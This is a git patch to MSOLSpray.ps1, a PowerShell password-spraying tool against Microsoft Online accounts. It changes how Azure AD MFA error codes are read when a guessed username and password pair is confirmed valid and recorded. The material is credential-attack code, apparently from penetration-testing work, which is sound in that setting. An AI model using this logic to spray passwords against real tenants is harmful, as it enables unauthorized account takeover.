From 50a73f1998657ecb7ab5dde35d19f154b253875f Mon Sep 17 00:00:00 2001
From: Oddvar Moe <oddvar.moe@trustedsec.com>
Date: Tue, 19 Mar 2024 09:16:36 +0100
Subject: [PATCH] Changed MFA message

---
 MSOLSpray.ps1 | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1
index 235efb6..bc5a0f6 100644
--- a/MSOLSpray.ps1
+++ b/MSOLSpray.ps1
@@ -128,12 +128,17 @@ function Invoke-MSOLSpray{
                 }
 
                 # Microsoft MFA response
-            ElseIf(($RespErr -match "AADSTS50079") -or ($RespErr -match "AADSTS50076"))
+            ElseIf($RespErr -match "AADSTS50076")
                 {
                 Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates MFA (Microsoft) is in use."
                 $fullresults += "$username : $password"
                 }
-    
+            ElseIf($RespErr -match "AADSTS50079")
+                {
+                Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates that MFA can be onboarded."
+                $fullresults += "$username : $password"
+                }
+
                 # Conditional Access response (Based off of limited testing this seems to be the repsonse to DUO MFA)
             ElseIf($RespErr -match "AADSTS50158")
                 {